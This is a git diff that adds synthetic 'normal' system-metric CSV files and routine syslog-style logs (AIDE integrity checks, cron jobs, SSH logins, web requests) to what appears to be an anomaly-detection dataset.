match the baseline. +Aug 19 10:05:00 aide[8813]: INFO: Scan finished successfully. +Aug 19 10:05:00 CRON[8812]: (root) CMD (aide --check) completed. +Aug 19 10:05:15 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 19 10:05:30 systemd[1]: systemd-tmpfiles-clean.service: Succeeded. \ No newline at end of file diff --git a/norm_dataset/scenario_16/norm_16_39.csv b/norm_dataset/scenario_16/norm_16_39.csv new file mode 100644 index 0000000000000000000000000000000000000000..e70a6c4a7f91304e705d86ee902258c60a2042f0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_39.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-22T10:00:00Z,11.87,40.6,28.41,1.12,0.86 +2025-07-22T10:00:05Z,14.75,43.57,26.13,1.12,0.96 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+2025-07-22T10:06:50Z,11.65,42.56,26.4,1.06,0.85 +2025-07-22T10:06:55Z,10.32,41.13,30.18,0.87,0.85 +2025-07-22T10:07:00Z,11.55,43.23,33.77,0.83,1.03 +2025-07-22T10:07:05Z,11.63,40.87,32.41,1.06,1.08 +2025-07-22T10:07:10Z,13.65,43.45,31.97,0.81,1.09 +2025-07-22T10:07:15Z,13.19,41.93,32.02,1.03,1.0 +2025-07-22T10:07:20Z,14.44,44.68,28.59,1.18,0.85 +2025-07-22T10:07:25Z,12.36,40.69,27.94,1.03,0.73 diff --git a/norm_dataset/scenario_16/norm_16_39.log b/norm_dataset/scenario_16/norm_16_39.log new file mode 100644 index 0000000000000000000000000000000000000000..c5c3bfdf6093d79d4ea503c4518db9da38fac34e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_39.log @@ -0,0 +1,19 @@ +Jul 22 10:00:10 kernel: [12345.678] random_seed: RDRAND processed 128 bytes +Jul 22 10:00:45 web-app[1234]: GET /api/v1/status status=200 OK +Jul 22 10:01:15 sshd[5432]: Accepted publickey for user root from 192.168.1.10 port 22 +Jul 22 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 22 10:03:00 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 22 10:03:01 aide[6790]: INFO: Starting AIDE integrity check... +Jul 22 10:03:05 aide[6790]: INFO: Scan started. +Jul 22 10:03:15 aide[6790]: INFO: Reading database: /var/lib/aide/aide.db.gz +Jul 22 10:03:35 kubelet[2345]: INFO: Liveness probe for pod 'web-app-pod' succeeded. +Jul 22 10:04:10 aide[6790]: INFO: Hashing file: /bin/ls +Jul 22 10:04:25 aide[6790]: INFO: Hashing file: /etc/passwd +Jul 22 10:04:40 aide[6790]: INFO: Hashing file: /usr/lib/libz.so.1.2.11 +Jul 22 10:04:55 aide[6790]: INFO: All files match the baseline. +Jul 22 10:04:56 aide[6790]: INFO: Scan finished. +Jul 22 10:04:57 aide[6790]: INFO: AIDE check finished. No inconsistencies found. +Jul 22 10:05:30 web-app[1234]: POST /api/v1/login status=200 OK +Jul 22 10:06:00 systemd[1]: Started Daily apt download activities. +Jul 22 10:06:45 kernel: [12705.123] NET: Registered protocol family 24 +Jul 22 10:07:10 web-app[1234]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_4.csv b/norm_dataset/scenario_16/norm_16_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..7ef6b83f1ab5081b10bf9645e6ce7b44e6464dd0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,14.98,42.2,23.54,0.81,0.72 +2025-07-02T12:00:05Z,10.14,39.71,32.42,1.22,1.2 +2025-07-02T12:00:10Z,15.33,38.9,31.06,1.0,0.75 +2025-07-02T12:00:15Z,17.61,37.73,21.13,1.03,1.16 +2025-07-02T12:00:20Z,10.32,40.04,22.63,1.01,0.73 +2025-07-02T12:00:25Z,19.53,36.74,28.17,1.28,0.96 +2025-07-02T12:00:30Z,10.95,41.0,31.48,1.3,0.77 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+2025-07-02T12:07:15Z,11.28,40.61,28.4,1.09,1.1 +2025-07-02T12:07:20Z,17.59,38.16,28.95,0.98,0.92 +2025-07-02T12:07:25Z,10.92,39.25,21.25,0.99,1.02 diff --git a/norm_dataset/scenario_16/norm_16_4.log b/norm_dataset/scenario_16/norm_16_4.log new file mode 100644 index 0000000000000000000000000000000000000000..2937b0fdfe57020801179896988fc764f5289bbc --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_4.log @@ -0,0 +1,17 @@ +Jul 02 12:00:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:25 web-app[1552]: GET /api/v1/user/9 status=200 OK +Jul 02 12:00:50 sshd[3102]: Accepted publickey for user admin from 192.168.1.10 port 22 +Jul 02 12:01:15 CRON[3150]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:40 web-app[1552]: GET /api/v1/health status=200 OK +Jul 02 12:02:00 cron[3201]: (root) CMD (/usr/bin/aide --check) +Jul 02 12:02:00 cron[3201]: INFO: Starting AIDE integrity check... +Jul 02 12:02:05 aide[3202]: INFO: Scan started. +Jul 02 12:02:50 kernel: [11345.123] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 02 12:03:40 web-app[1552]: GET /api/v1/metrics status=200 OK +Jul 02 12:04:30 systemd[1]: Starting session c5 of user admin. +Jul 02 12:04:50 aide[3202]: INFO: All files match the baseline. +Jul 02 12:04:55 aide[3202]: INFO: Scan finished. +Jul 02 12:05:25 CRON[3280]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:50 web-app[1552]: GET /api/v1/user/15 status=200 OK +Jul 02 12:06:15 sshd[3301]: Disconnected from user admin 192.168.1.10 port 22 +Jul 02 12:06:40 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_16/norm_16_40.csv b/norm_dataset/scenario_16/norm_16_40.csv new file mode 100644 index 0000000000000000000000000000000000000000..a631e087167633103f35802d20ecf3e7cbc999fb --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_40.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,13.35,43.87,38.49,1.46,1.44 +2025-08-19T10:00:05Z,19.09,41.88,25.26,1.42,0.73 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+2025-08-19T10:06:45Z,14.62,39.19,36.85,1.46,0.98 +2025-08-19T10:06:50Z,13.37,39.46,21.21,1.67,1.78 +2025-08-19T10:06:55Z,18.57,37.27,35.18,1.16,2.11 +2025-08-19T10:07:00Z,14.16,36.36,36.1,1.4,0.82 +2025-08-19T10:07:05Z,10.33,35.24,29.65,1.14,1.36 +2025-08-19T10:07:10Z,11.57,39.97,33.9,0.87,1.72 +2025-08-19T10:07:15Z,19.67,43.48,38.82,1.09,0.97 +2025-08-19T10:07:20Z,13.83,39.47,38.92,1.79,0.7 +2025-08-19T10:07:25Z,15.92,43.27,25.46,1.43,1.59 diff --git a/norm_dataset/scenario_16/norm_16_40.log b/norm_dataset/scenario_16/norm_16_40.log new file mode 100644 index 0000000000000000000000000000000000000000..17d175545e580ac322d742d6985214115b6e7ae0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_40.log @@ -0,0 +1,20 @@ +Aug 19 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:25 CRON[1501]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:01:05 web-app[8080]: GET /api/v1/health status=200 OK +Aug 19 10:01:50 sshd[1550]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 19 10:02:20 systemd[1]: Started Session 3 of user. +Aug 19 10:02:30 CRON[1601]: (root) CMD (/usr/sbin/aide --check) +Aug 19 10:02:31 aide[1602]: INFO: Starting AIDE integrity check... +Aug 19 10:02:33 aide[1602]: INFO: Scan started. +Aug 19 10:02:50 aide[1602]: DEBUG: Reading database: /var/lib/aide/aide.db.gz +Aug 19 10:03:25 aide[1602]: DEBUG: Processing file: /etc/passwd +Aug 19 10:03:45 aide[1602]: DEBUG: Hashing file: /usr/bin/docker +Aug 19 10:04:15 systemd[1]: Starting session-c2.scope. +Aug 19 10:04:55 aide[1602]: DEBUG: Hashing file: /var/log/messages +Aug 19 10:05:00 aide[1602]: INFO: All files match the baseline. +Aug 19 10:05:01 aide[1602]: INFO: Scan finished. +Aug 19 10:05:02 aide[1602]: INFO: AIDE check finished. +Aug 19 10:05:30 web-app[8080]: GET /api/v1/metrics status=200 OK +Aug 19 10:06:00 systemd[1]: session-3.scope: Succeeded. +Aug 19 10:06:20 CRON[1701]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:00 web-app[8080]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_41.csv b/norm_dataset/scenario_16/norm_16_41.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c216dc8e44afb137af6933fe5e20a7301c0f1ec --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_41.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,10.53,37.72,27.79,0.75,0.98 +2025-08-19T10:00:05Z,16.87,35.74,23.9,1.25,0.93 +2025-08-19T10:00:10Z,12.49,35.84,29.39,1.4,1.13 +2025-08-19T10:00:15Z,18.4,41.33,33.04,1.26,0.78 +2025-08-19T10:00:20Z,16.82,43.22,27.4,0.94,0.88 +2025-08-19T10:00:25Z,19.71,37.54,25.44,1.05,1.22 +2025-08-19T10:00:30Z,14.39,42.64,32.36,1.42,0.97 +2025-08-19T10:00:35Z,16.37,40.73,23.38,1.46,1.2 +2025-08-19T10:00:40Z,13.71,39.18,36.27,1.45,0.9 +2025-08-19T10:00:45Z,18.77,42.31,29.32,0.57,0.95 +2025-08-19T10:00:50Z,15.38,41.73,32.44,0.85,0.66 +2025-08-19T10:00:55Z,15.58,39.72,30.18,1.39,0.77 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a/norm_dataset/scenario_16/norm_16_41.log b/norm_dataset/scenario_16/norm_16_41.log new file mode 100644 index 0000000000000000000000000000000000000000..af3cc52eb203eef8de54d8ac2044c0d96b53d2e4 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_41.log @@ -0,0 +1,20 @@ +Aug 19 10:00:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:35 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 19 10:02:05 sshd[4567]: Accepted publickey for user 'admin' from 192.168.1.10 port 22 +Aug 19 10:02:30 cron[5432]: (root) CMD (aide --check) +Aug 19 10:02:30 aide[5433]: INFO: AIDE integrity check started. +Aug 19 10:02:30 aide[5433]: INFO: Reading database: /var/lib/aide/aide.db.gz +Aug 19 10:03:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 10:03:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 10:04:00 aide[5433]: INFO: Scanning /etc... +Aug 19 10:04:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 10:04:45 aide[5433]: INFO: Scanning /bin... +Aug 19 10:05:00 aide[5433]: INFO: All files match the baseline. +Aug 19 10:05:00 aide[5433]: INFO: AIDE integrity check finished. +Aug 19 10:05:20 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 19 10:05:55 sshd[4567]: session closed for user 'admin' +Aug 19 10:06:20 systemd[1]: Daily clean up finished. +Aug 19 10:06:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 19 10:07:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:50 web-app[1234]: GET /api/v1/metrics status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_42.csv b/norm_dataset/scenario_16/norm_16_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..264e73d349d0a244305ffa45a3b727da47fb45c4 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_42.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,13.75,36.2,26.82,1.37,1.07 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+2025-08-19T10:06:40Z,18.63,41.78,32.3,1.15,0.86 +2025-08-19T10:06:45Z,16.23,35.17,39.8,1.4,1.49 +2025-08-19T10:06:50Z,13.31,40.12,22.8,1.26,1.06 +2025-08-19T10:06:55Z,10.64,37.26,30.37,0.91,1.06 +2025-08-19T10:07:00Z,13.11,41.45,37.55,0.85,1.37 +2025-08-19T10:07:05Z,13.25,36.74,34.82,1.25,1.46 +2025-08-19T10:07:10Z,17.3,41.91,33.94,0.82,1.49 +2025-08-19T10:07:15Z,16.38,38.87,34.05,1.21,1.33 +2025-08-19T10:07:20Z,18.87,44.37,27.19,1.46,1.06 +2025-08-19T10:07:25Z,14.72,36.38,25.87,1.2,0.86 diff --git a/norm_dataset/scenario_16/norm_16_42.log b/norm_dataset/scenario_16/norm_16_42.log new file mode 100644 index 0000000000000000000000000000000000000000..a83928c6694c3587351da9b17294f3a352890ae7 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_42.log @@ -0,0 +1,18 @@ +Aug 19 10:00:10 sshd[1821]: Accepted publickey for user from 192.168.1.10 port 54321 +Aug 19 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 19 10:01:35 kernel: [12345.678] random: crng init done +Aug 19 10:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 10:03:00 CRON[5512]: (root) CMD (aide --check) +Aug 19 10:03:01 aide[5513]: INFO: Starting AIDE integrity check... +Aug 19 10:03:02 aide[5513]: INFO: Scan started. +Aug 19 10:03:30 aide[5513]: DEBUG: Processing /etc... +Aug 19 10:04:00 aide[5513]: DEBUG: Processing /usr/bin... +Aug 19 10:04:30 aide[5513]: DEBUG: Processing /var/log... +Aug 19 10:04:55 aide[5513]: INFO: All files match the baseline. +Aug 19 10:04:56 aide[5513]: INFO: Scan finished. +Aug 19 10:05:10 systemd[1]: Started Session 123 of user root. +Aug 19 10:05:30 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 19 10:06:00 kernel: [12385.111] NET: Registered protocol family 10 +Aug 19 10:06:30 sshd[1950]: pam_unix(sshd:session): session opened for user user by (uid=0) +Aug 19 10:07:00 systemd[1]: Starting User Login Management... +Aug 19 10:07:25 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_43.csv b/norm_dataset/scenario_16/norm_16_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..123adef3bc20d5f86e636b2b813394e8a085a187 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.78,40.04,26.28,1.34,0.84 +2025-08-19T10:00:05Z,11.81,36.85,23.11,1.46,1.16 +2025-08-19T10:00:10Z,17.07,36.47,28.28,1.21,0.87 +2025-08-19T10:00:15Z,19.58,40.56,23.21,1.24,1.32 +2025-08-19T10:00:20Z,14.89,39.45,24.69,1.13,0.73 +2025-08-19T10:00:25Z,14.14,40.71,22.98,1.45,0.79 +2025-08-19T10:00:30Z,18.73,37.89,15.91,1.32,0.91 +2025-08-19T10:00:35Z,19.39,40.36,26.84,1.35,0.49 +2025-08-19T10:00:40Z,14.54,38.39,32.5,1.21,0.81 +2025-08-19T10:00:45Z,20.64,39.2,24.22,1.06,0.77 +2025-08-19T10:00:50Z,11.71,37.89,22.87,1.0,0.62 +2025-08-19T10:00:55Z,18.27,37.34,23.4,1.26,1.13 +2025-08-19T10:01:00Z,14.07,39.45,22.59,1.56,0.77 +2025-08-19T10:01:05Z,12.72,41.8,30.77,1.42,0.95 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--- /dev/null +++ b/norm_dataset/scenario_16/norm_16_43.log @@ -0,0 +1,20 @@ +Aug 19 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:01:40 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:02:15 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 10:02:30 CRON[7112]: (root) CMD (aide --check) +Aug 19 10:02:31 aide[7113]: INFO: Starting AIDE integrity check... +Aug 19 10:02:32 aide[7113]: INFO: Scan started. +Aug 19 10:03:00 systemd[1]: Starting session-c2.scope. +Aug 19 10:03:30 sshd[7150]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 19 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:04:45 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 19 10:05:20 systemd[1]: session-c2.scope: Succeeded. +Aug 19 10:05:55 aide[7113]: INFO: All files match the baseline. +Aug 19 10:05:56 aide[7113]: INFO: Scan finished. +Aug 19 10:06:10 web-app[3456]: POST /api/v1/login status=401 Unauthorized +Aug 19 10:06:40 CRON[8234]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Aug 19 10:07:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:07:25 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_16/norm_16_44.csv b/norm_dataset/scenario_16/norm_16_44.csv new file mode 100644 index 0000000000000000000000000000000000000000..55928039e2d000c94c03e63358b2d5d9e05333e7 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_44.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,13.35,40.03,25.25,1.17,0.72 +2025-07-03T10:00:05Z,6.05,42.65,14.88,0.72,1.3 +2025-07-03T10:00:10Z,12.45,38.47,25.06,0.88,0.89 +2025-07-03T10:00:15Z,8.61,44.31,10.57,1.5,1.37 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+2025-07-03T10:06:50Z,9.94,39.06,24.24,0.75,0.56 +2025-07-03T10:06:55Z,13.67,42.59,28.46,1.07,1.36 +2025-07-03T10:07:00Z,5.18,42.13,26.86,1.17,1.42 +2025-07-03T10:07:05Z,6.83,37.03,29.13,0.83,0.86 +2025-07-03T10:07:10Z,6.13,44.83,15.75,0.87,0.59 +2025-07-03T10:07:15Z,13.53,42.87,26.82,1.39,0.84 +2025-07-03T10:07:20Z,5.48,35.06,15.45,1.36,1.47 +2025-07-03T10:07:25Z,9.99,40.59,16.26,1.47,0.91 diff --git a/norm_dataset/scenario_16/norm_16_44.log b/norm_dataset/scenario_16/norm_16_44.log new file mode 100644 index 0000000000000000000000000000000000000000..d29cad6779373808efba17338ec7a9ea6dd9d6c4 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_44.log @@ -0,0 +1,17 @@ +Jul 03 10:00:10 server-hostname sshd[3101]: Accepted publickey for user root from 192.168.1.10 port 54321 ssh2: RSA SHA256:abc... +Jul 03 10:00:45 server-hostname systemd[1]: Starting Daily apt download activities... +Jul 03 10:01:10 server-hostname web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:50 server-hostname systemd[1]: Started Daily apt download activities. +Jul 03 10:02:00 server-hostname CRON[4501]: (root) CMD (aide --check) +Jul 03 10:02:02 server-hostname aide[4503]: INFO: Starting AIDE integrity check... +Jul 03 10:02:05 server-hostname aide[4503]: INFO: Scan started. +Jul 03 10:02:30 server-hostname kernel: [12345.678] audit: type=1400 audit(1751536955.123:45): apparmor="ALLOWED" operation="open" profile="/usr/bin/aide" name="/etc/passwd" +Jul 03 10:03:15 server-hostname web-app[1234]: GET /api/v1/metrics status=200 OK +Jul 03 10:04:45 server-hostname kernel: [12465.890] audit: type=1400 audit(1751537110.456:46): apparmor="ALLOWED" operation="open" profile="/usr/bin/aide" name="/var/log/syslog" +Jul 03 10:04:50 server-hostname aide[4503]: INFO: All files match the baseline. +Jul 03 10:04:55 server-hostname aide[4503]: INFO: Scan finished. +Jul 03 10:05:00 server-hostname CRON[4501]: (root) CMD (aide --check) process ended. +Jul 03 10:05:20 server-hostname sshd[3205]: session closed for user root +Jul 03 10:06:00 server-hostname systemd[1]: Starting logrotate service... +Jul 03 10:06:30 server-hostname web-app[1234]: POST /api/v1/user/create status=201 Created +Jul 03 10:07:05 server-hostname systemd[1]: logrotate service finished. diff --git a/norm_dataset/scenario_16/norm_16_45.csv b/norm_dataset/scenario_16/norm_16_45.csv new file mode 100644 index 0000000000000000000000000000000000000000..8af2f05c47af493bd0dca864d2006f31530a311b --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_45.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T14:00:00Z,8.64,42.81,9.98,1.39,1.18 +2025-08-19T14:00:05Z,19.65,41.07,17.74,1.06,1.31 +2025-08-19T14:00:10Z,14.46,41.90,15.16,0.89,1.20 +2025-08-19T14:00:15Z,9.09,42.43,9.83,1.35,0.85 +2025-08-19T14:00:20Z,9.65,41.97,19.49,1.01,1.36 +2025-08-19T14:00:25Z,11.01,38.08,20.38,1.44,1.04 +2025-08-19T14:00:30Z,15.75,43.21,6.78,1.12,0.92 +2025-08-19T14:00:35Z,19.44,38.08,24.08,1.15,1.23 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+2025-08-19T14:07:10Z,10.05,44.91,8.39,1.04,0.87 +2025-08-19T14:07:15Z,18.10,39.08,11.02,0.95,0.93 +2025-08-19T14:07:20Z,17.28,40.13,20.35,1.16,0.91 +2025-08-19T14:07:25Z,11.50,41.51,13.03,1.44,0.76 diff --git a/norm_dataset/scenario_16/norm_16_45.log b/norm_dataset/scenario_16/norm_16_45.log new file mode 100644 index 0000000000000000000000000000000000000000..a886583f17b43a6c0e4d93358525491a5a1ea0c3 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_45.log @@ -0,0 +1,20 @@ +Aug 19 14:00:25 server-1 systemd[1]: Starting daily clean up activities... +Aug 19 14:00:50 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:01:30 server-1 sshd[8765]: Accepted publickey for user admin from 192.168.1.100 port 22 +Aug 19 14:01:55 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:02:00 server-1 CRON[9123]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 19 14:02:00 server-1 anacron[9124]: Anacron job "cron.daily" started +Aug 19 14:02:01 server-1 aide[9126]: INFO: Starting AIDE integrity check... +Aug 19 14:02:02 server-1 aide[9126]: INFO: Scan started. +Aug 19 14:02:30 server-1 systemd[1]: Starting session c2 of user admin. +Aug 19 14:02:55 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:03:45 server-1 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 19 14:04:35 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:05:28 server-1 aide[9126]: INFO: All files match the baseline. +Aug 19 14:05:29 server-1 aide[9126]: INFO: Scan finished. +Aug 19 14:05:30 server-1 anacron[9124]: Anacron job "cron.daily" finished +Aug 19 14:05:50 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:06:15 server-1 sshd[8765]: Received disconnect from 192.168.1.100 port 22:11: disconnected by user +Aug 19 14:06:40 server-1 systemd[1]: session c2 of user admin logged out +Aug 19 14:07:05 server-1 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 14:07:25 server-1 systemd[1]: Daily clean up activities finished. diff --git a/norm_dataset/scenario_16/norm_16_46.csv b/norm_dataset/scenario_16/norm_16_46.csv new file mode 100644 index 0000000000000000000000000000000000000000..85750b7ea99ad1324a958b2694b92d1a6b30a350 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_46.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.75,40.6,23.53,1.31,0.89 +2025-07-02T12:00:05Z,19.51,43.57,17.84,1.31,1.14 +2025-07-02T12:00:10Z,17.32,43.8,38.12,1.37,0.96 +2025-07-02T12:00:15Z,15.99,42.81,36.93,1.41,1.05 +2025-07-02T12:00:20Z,11.56,43.85,21.45,1.01,1.44 +2025-07-02T12:00:25Z,11.56,42.47,31.5,1.0,0.89 +2025-07-02T12:00:30Z,10.58,42.61,35.43,1.3,1.46 +2025-07-02T12:00:35Z,18.66,42.14,28.88,1.15,1.41 +2025-07-02T12:00:40Z,16.01,40.13,28.24,1.2,0.7 +2025-07-02T12:00:45Z,17.08,40.54,21.05,1.3,0.57 +2025-07-02T12:00:50Z,10.21,40.16,17.33,1.39,0.6 +2025-07-02T12:00:55Z,19.7,43.18,37.43,0.84,0.52 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+2025-07-02T12:06:00Z,10.06,43.17,36.28,0.67,1.12 +2025-07-02T12:06:05Z,18.15,42.68,22.92,0.93,0.6 +2025-07-02T12:06:10Z,17.07,40.45,19.24,0.9,0.58 +2025-07-02T12:06:15Z,17.29,44.18,28.92,1.12,1.2 +2025-07-02T12:06:20Z,17.71,41.6,38.4,1.14,0.57 +2025-07-02T12:06:25Z,10.74,40.93,32.4,0.55,1.32 +2025-07-02T12:06:30Z,13.58,40.2,29.25,0.87,1.21 +2025-07-02T12:06:35Z,11.16,42.95,17.43,1.13,0.58 +2025-07-02T12:06:40Z,18.63,43.39,30.38,1.0,0.58 +2025-07-02T12:06:45Z,16.23,40.08,39.75,1.36,1.49 +2025-07-02T12:06:50Z,13.31,42.56,18.5,1.16,0.87 +2025-07-02T12:06:55Z,10.64,41.13,27.96,0.66,0.87 +2025-07-02T12:07:00Z,13.11,43.23,36.93,0.57,1.31 +2025-07-02T12:07:05Z,13.25,40.87,33.52,1.14,1.45 +2025-07-02T12:07:10Z,17.3,43.45,32.43,0.53,1.49 +2025-07-02T12:07:15Z,16.38,41.93,32.56,1.09,1.25 +2025-07-02T12:07:20Z,18.87,44.68,23.99,1.44,0.88 +2025-07-02T12:07:25Z,14.72,40.69,22.34,1.08,0.58 diff --git a/norm_dataset/scenario_16/norm_16_46.log b/norm_dataset/scenario_16/norm_16_46.log new file mode 100644 index 0000000000000000000000000000000000000000..4c2e44683a281e1dd9b747c6e2a270b515dea63e --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_46.log @@ -0,0 +1,20 @@ +Jul 02 12:00:18 systemd[1]: Started Session 123 of user. +Jul 02 12:00:38 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:57 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:01:30 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:02:05 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:27 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:46 sshd[7140]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:02:52 sshd[8105]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:03:01 kernel: [12345.678901] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 12:03:21 sshd[9284]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:03:39 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 02 12:04:01 kernel: [12345.678901] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 02 12:05:16 CRON[6250]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:45 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:06:00 CRON[8512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:03 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:22 web-app[1234]: POST /api/v1/login status=200 OK +Jul 02 12:07:24 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_16/norm_16_47.csv b/norm_dataset/scenario_16/norm_16_47.csv new file mode 100644 index 0000000000000000000000000000000000000000..c4b8816d5ac078bdddaf270e05450653d490cbfe --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_47.csv @@ -0,0 +1,89 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,19.58,40.64,21.01,1.03,0.94 +2025-07-02T11:00:05Z,19.48,42.96,25.3,1.22,0.81 +2025-07-02T11:00:10Z,12.89,41.12,37.36,1.22,0.78 +2025-07-02T11:00:15Z,15.51,41.96,38.29,1.45,0.7 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+2025-07-02T11:06:50Z,17.48,43.83,37.38,1.38,1.06 +2025-07-02T11:06:55Z,19.98,43.0,30.34,1.39,0.72 +2025-07-02T11:07:00Z,18.3,42.48,22.2,1.38,1.26 +2025-07-02T11:07:05Z,14.0,43.91,25.86,1.13,0.83 +2025-07-02T11:07:10Z,19.78,41.11,39.6,1.18,0.71 +2025-07-02T11:07:15Z,19.3,41.74,25.7,0.8,0.73 diff --git a/norm_dataset/scenario_16/norm_16_47.log b/norm_dataset/scenario_16/norm_16_47.log new file mode 100644 index 0000000000000000000000000000000000000000..18e317c52f2a397ff25dc8bc3cf4d63ccc1948f6 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_47.log @@ -0,0 +1,14 @@ +Jul 02 11:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:00:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 11:01:40 CRON[6152]: (root) CMD (/usr/bin/aide --check) +Jul 02 11:01:40 aide[6153]: INFO: Starting AIDE integrity check... +Jul 02 11:01:45 aide[6153]: INFO: Scan started. +Jul 02 11:02:30 systemd[1]: Starting session c5 of user root. +Jul 02 11:03:15 